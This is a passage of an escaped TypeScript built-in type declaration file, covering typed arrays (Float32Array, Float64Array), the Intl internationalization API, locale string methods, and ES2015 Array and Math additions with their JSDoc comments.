Uint32Array;\\n\\n}\\ndeclare const Uint32Array: Uint32ArrayConstructor;\\n\\n/**\\n  * A typed array of 32-bit float values. The contents are initialized to 0. If the requested number\\n  * of bytes could not be allocated an exception is raised.\\n  */\\ninterface Float32Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Float32Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Float32Array) => any, thisArg?: any): Float32Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Float32Array) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Float32Array) => number, thisArg?: any): Float32Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Float32Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Float32Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Float32Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Float32Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Float32Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Float32Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Float32Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Float32Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Float32Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Float32ArrayConstructor {\\n    readonly prototype: Float32Array;\\n    new(length: number): Float32Array;\\n    new(array: ArrayLike<number>): Float32Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Float32Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Float32Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Float32Array;\\n\\n\\n}\\ndeclare const Float32Array: Float32ArrayConstructor;\\n\\n/**\\n  * A typed array of 64-bit float values. The contents are initialized to 0. If the requested\\n  * number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Float64Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Float64Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Float64Array) => any, thisArg?: any): Float64Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Float64Array) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Float64Array) => number, thisArg?: any): Float64Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Float64Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Float64Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Float64Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Float64Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Float64Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Float64Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Float64Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Float64Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Float64Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Float64ArrayConstructor {\\n    readonly prototype: Float64Array;\\n    new(length: number): Float64Array;\\n    new(array: ArrayLike<number>): Float64Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Float64Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Float64Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Float64Array;\\n\\n}\\ndeclare const Float64Array: Float64ArrayConstructor;\\n\\n/////////////////////////////\\n/// ECMAScript Internationalization API\\n/////////////////////////////\\n\\ndeclare namespace Intl {\\n    interface CollatorOptions {\\n        usage?: string;\\n        localeMatcher?: string;\\n        numeric?: boolean;\\n        caseFirst?: string;\\n        sensitivity?: string;\\n        ignorePunctuation?: boolean;\\n    }\\n\\n    interface ResolvedCollatorOptions {\\n        locale: string;\\n        usage: string;\\n        sensitivity: string;\\n        ignorePunctuation: boolean;\\n        collation: string;\\n        caseFirst: string;\\n        numeric: boolean;\\n    }\\n\\n    interface Collator {\\n        compare(x: string, y: string): number;\\n        resolvedOptions(): ResolvedCollatorOptions;\\n    }\\n    var Collator: {\\n        new(locales?: string | string[], options?: CollatorOptions): Collator;\\n        (locales?: string | string[], options?: CollatorOptions): Collator;\\n        supportedLocalesOf(locales: string | string[], options?: CollatorOptions): string[];\\n    };\\n\\n    interface NumberFormatOptions {\\n        localeMatcher?: string;\\n        style?: string;\\n        currency?: string;\\n        currencyDisplay?: string;\\n        useGrouping?: boolean;\\n        minimumIntegerDigits?: number;\\n        minimumFractionDigits?: number;\\n        maximumFractionDigits?: number;\\n        minimumSignificantDigits?: number;\\n        maximumSignificantDigits?: number;\\n    }\\n\\n    interface ResolvedNumberFormatOptions {\\n        locale: string;\\n        numberingSystem: string;\\n        style: string;\\n        currency?: string;\\n        currencyDisplay?: string;\\n        minimumIntegerDigits: number;\\n        minimumFractionDigits: number;\\n        maximumFractionDigits: number;\\n        minimumSignificantDigits?: number;\\n        maximumSignificantDigits?: number;\\n        useGrouping: boolean;\\n    }\\n\\n    interface NumberFormat {\\n        format(value: number): string;\\n        resolvedOptions(): ResolvedNumberFormatOptions;\\n    }\\n    var NumberFormat: {\\n        new(locales?: string | string[], options?: NumberFormatOptions): NumberFormat;\\n        (locales?: string | string[], options?: NumberFormatOptions): NumberFormat;\\n        supportedLocalesOf(locales: string | string[], options?: NumberFormatOptions): string[];\\n    };\\n\\n    interface DateTimeFormatOptions {\\n        localeMatcher?: string;\\n        weekday?: string;\\n        era?: string;\\n        year?: string;\\n        month?: string;\\n        day?: string;\\n        hour?: string;\\n        minute?: string;\\n        second?: string;\\n        timeZoneName?: string;\\n        formatMatcher?: string;\\n        hour12?: boolean;\\n        timeZone?: string;\\n    }\\n\\n    interface ResolvedDateTimeFormatOptions {\\n        locale: string;\\n        calendar: string;\\n        numberingSystem: string;\\n        timeZone: string;\\n        hour12?: boolean;\\n        weekday?: string;\\n        era?: string;\\n        year?: string;\\n        month?: string;\\n        day?: string;\\n        hour?: string;\\n        minute?: string;\\n        second?: string;\\n        timeZoneName?: string;\\n    }\\n\\n    interface DateTimeFormat {\\n        format(date?: Date | number): string;\\n        resolvedOptions(): ResolvedDateTimeFormatOptions;\\n    }\\n    var DateTimeFormat: {\\n        new(locales?: string | string[], options?: DateTimeFormatOptions): DateTimeFormat;\\n        (locales?: string | string[], options?: DateTimeFormatOptions): DateTimeFormat;\\n        supportedLocalesOf(locales: string | string[], options?: DateTimeFormatOptions): string[];\\n    };\\n}\\n\\ninterface String {\\n    /**\\n      * Determines whether two strings are equivalent in the current or specified locale.\\n      * @param that String to compare to target string\\n      * @param locales A locale string or array of locale strings that contain one or more language or locale tags. If you include more than one locale string, list them in descending order of priority so that the first entry is the preferred locale. If you omit this parameter, the default locale of the JavaScript runtime is used. This parameter must conform to BCP 47 standards; see the Intl.Collator object for details.\\n      * @param options An object that contains one or more properties that specify comparison options. see the Intl.Collator object for details.\\n      */\\n    localeCompare(that: string, locales?: string | string[], options?: Intl.CollatorOptions): number;\\n}\\n\\ninterface Number {\\n    /**\\n      * Converts a number to a string by using the current or specified locale.\\n      * @param locales A locale string or array of locale strings that contain one or more language or locale tags. If you include more than one locale string, list them in descending order of priority so that the first entry is the preferred locale. If you omit this parameter, the default locale of the JavaScript runtime is used.\\n      * @param options An object that contains one or more properties that specify comparison options.\\n      */\\n    toLocaleString(locales?: string | string[], options?: Intl.NumberFormatOptions): string;\\n}\\n\\ninterface Date {\\n    /**\\n      * Converts a date and time to a string by using the current or specified locale.\\n      * @param locales A locale string or array of locale strings that contain one or more language or locale tags. If you include more than one locale string, list them in descending order of priority so that the first entry is the preferred locale. If you omit this parameter, the default locale of the JavaScript runtime is used.\\n      * @param options An object that contains one or more properties that specify comparison options.\\n      */\\n    toLocaleString(locales?: string | string[], options?: Intl.DateTimeFormatOptions): string;\\n    /**\\n      * Converts a date to a string by using the current or specified locale.\\n      * @param locales A locale string or array of locale strings that contain one or more language or locale tags. If you include more than one locale string, list them in descending order of priority so that the first entry is the preferred locale. If you omit this parameter, the default locale of the JavaScript runtime is used.\\n      * @param options An object that contains one or more properties that specify comparison options.\\n      */\\n    toLocaleDateString(locales?: string | string[], options?: Intl.DateTimeFormatOptions): string;\\n\\n    /**\\n      * Converts a time to a string by using the current or specified locale.\\n      * @param locales A locale string or array of locale strings that contain one or more language or locale tags. If you include more than one locale string, list them in descending order of priority so that the first entry is the preferred locale. If you omit this parameter, the default locale of the JavaScript runtime is used.\\n      * @param options An object that contains one or more properties that specify comparison options.\\n      */\\n    toLocaleTimeString(locales?: string | string[], options?: Intl.DateTimeFormatOptions): string;\\n}\\n\\n\\ndeclare type PropertyKey = string | number | symbol;\\n\\ninterface Array<T> {\\n    /**\\n     * Returns the value of the first element in the array where predicate is true, and undefined\\n     * otherwise.\\n     * @param predicate find calls predicate once for each element of the array, in ascending\\n     * order, until it finds one where predicate returns true. If such an element is found, find\\n     * immediately returns that element value. Otherwise, find returns undefined.\\n     * @param thisArg If provided, it will be used as the this value for each invocation of\\n     * predicate. If it is not provided, undefined is used instead.\\n     */\\n    find(predicate: (this: void, value: T, index: number, obj: Array<T>) => boolean): T | undefined;\\n    find(predicate: (this: void, value: T, index: number, obj: Array<T>) => boolean, thisArg: undefined): T | undefined;\\n    find<Z>(predicate: (this: Z, value: T, index: number, obj: Array<T>) => boolean, thisArg: Z): T | undefined;\\n\\n    /**\\n     * Returns the index of the first element in the array where predicate is true, and -1\\n     * otherwise.\\n     * @param predicate find calls predicate once for each element of the array, in ascending\\n     * order, until it finds one where predicate returns true. If such an element is found,\\n     * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n     * @param thisArg If provided, it will be used as the this value for each invocation of\\n     * predicate. If it is not provided, undefined is used instead.\\n     */\\n    findIndex(predicate: (this: void, value: T, index: number, obj: Array<T>) => boolean): number;\\n    findIndex(predicate: (this: void, value: T, index: number, obj: Array<T>) => boolean, thisArg: undefined): number;\\n    findIndex<Z>(predicate: (this: Z, value: T, index: number, obj: Array<T>) => boolean, thisArg: Z): number;\\n\\n    /**\\n     * Returns the this object after filling the section identified by start and end with value\\n     * @param value value to fill array section with\\n     * @param start index to start filling the array at. If start is negative, it is treated as\\n     * length+start where length is the length of the array.\\n     * @param end index to stop filling the array at. If end is negative, it is treated as\\n     * length+end.\\n     */\\n    fill(value: T, start?: number, end?: number): this;\\n\\n    /**\\n     * Returns the this object after copying a section of the array identified by start and end\\n     * to the same array starting at position target\\n     * @param target If target is negative, it is treated as length+target where length is the\\n     * length of the array.\\n     * @param start If start is negative, it is treated as length+start. If end is negative, it\\n     * is treated as length+end.\\n     * @param end If not specified, length of the this object is used as its default value.\\n     */\\n    copyWithin(target: number, start: number, end?: number): this;\\n}\\n\\ninterface ArrayConstructor {\\n    /**\\n     * Creates an array from an array-like object.\\n     * @param arrayLike An array-like object to convert to an array.\\n     * @param mapfn A mapping function to call on every element of the array.\\n     * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n     */\\n    from<T, U>(arrayLike: ArrayLike<T>, mapfn: (this: void, v: T, k: number) => U): Array<U>;\\n    from<T, U>(arrayLike: ArrayLike<T>, mapfn: (this: void, v: T, k: number) => U, thisArg: undefined): Array<U>;\\n    from<Z, T, U>(arrayLike: ArrayLike<T>, mapfn: (this: Z, v: T, k: number) => U, thisArg: Z): Array<U>;\\n\\n\\n    /**\\n     * Creates an array from an array-like object.\\n     * @param arrayLike An array-like object to convert to an array.\\n     */\\n    from<T>(arrayLike: ArrayLike<T>): Array<T>;\\n\\n    /**\\n     * Returns a new array from a set of elements.\\n     * @param items A set of elements to include in the new array object.\\n     */\\n    of<T>(...items: T[]): Array<T>;\\n}\\n\\ninterface DateConstructor {\\n    new (value: Date): Date;\\n}\\n\\ninterface Function {\\n    /**\\n     * Returns the name of the function. Function names are read-only and can not be changed.\\n     */\\n    readonly name: string;\\n}\\n\\ninterface Math {\\n    /**\\n     * Returns the number of leading zero bits in the 32-bit binary representation of a number.\\n     * @param x A numeric expression.\\n     */\\n    clz32(x: number): number;\\n\\n    /**\\n     * Returns the result of 32-bit multiplication of two numbers.\\n     * @param x First number\\n     * @param y Second number\\n     */\\n    imul(x: number, y: number): number;\\n\\n    /**\\n     * Returns the sign of the x, indicating whether x is positive, negative or zero.\\n     * @param x The numeric expression to test\\n     */\\n    sign(x: number): number;\\n\\n    /**\\n     * Returns the base 10 logarithm of a number.\\n     * @param x A numeric expression.\\n     */\\n    log10(x: number): number;\\n\\n    /**\\n     * Returns the base 2 logarithm of a number.\\n     * @param x A numeric expression.\\n     */\\n    log2(x: number): number;\\n\\n    /**\\n     * Returns the natural logarithm of 1 + x.\\n     * @param x A numeric expression.\\n     */\\n    log1p(x: number): number;\\n\\n    /**\\n     * Returns the result of (e^x - 1) of x (e raised to the power of x, where e is the base of\\n     * the natural logarithms).\\n     * @param x A numeric expression.\\n     */\\n    expm1(x: number): number;\\n\\n    /**\\n     * Returns the hyperbolic cosine of a number.\\n     * @param x A numeric expression that contains an angle measured in radians.\\n     */\\n    cosh(x: number): number;\\n\\n    /**\\n     * Returns the hyperbolic sine of a number.\\n     * @param x A numeric expression that contains an angle measured in radians.\\n     */\\n    sinh(x: number): number;\\n\\n    /**\\n     * Returns the hyperbolic tangent of a number.\\n     * @param x A numeric expression that contains an angle measured in radians.\\n     */\\n    tanh(x: number): number;\\n\\n    /**\\n     * Returns the inverse hyperbolic cosine of a number.\\n     * @param x A numeric expression that contains an angle measured in radians.\\n     */\\n    acosh(x: number): number;\\n\\n    /**\\n     * Returns the inverse hyperbolic sine of a number.\\n     * @param x A numeric expression that contains an angle measured in radians.\\n     */\\n    asinh(x: number): number;\\n\\n    /**\\n     * Returns the inverse hyperbolic tangent of a number.\\n     * @param x A numeric expression that contains an angle measured in radians.\\n     */\\n    atanh(x: number): number;\\n\\n    /**\\n     * Returns the square root of the sum of squares of its arguments.\\n     * @param values Values to compute the square root for.\\n     *     If no arguments are passed, the result is +0.\\n     *     If there is only one argument, the result is the absolute value.\\n     *     If any argument is +Infinity or -Infinity, the result is +Infinity.\\n     *     If any argument is NaN, the result is NaN.\\n     *     If all arguments are either +0 or −0, the result is +0.\\n     */\\n    hypot(...values: number[] ): number;\\n\\n    /**\\n     * Returns the integral part of the a numeric expression, x, removing any fractional digits.\\n     * If x is already an integer, the result is x.\\n     * @param x A numeric expression.\\n     */\\n    trunc(x: number): number;\\n\\n    /**\\n     * Returns the nearest single precision float representation of a number.\\n     * @param x A numeric expression.\\n     */\\n    fround(x: number): number;\\n\\n    /**\\n     * Returns an implementation-dependent approximation to the cube root of number.\\n     * @param x A numeric 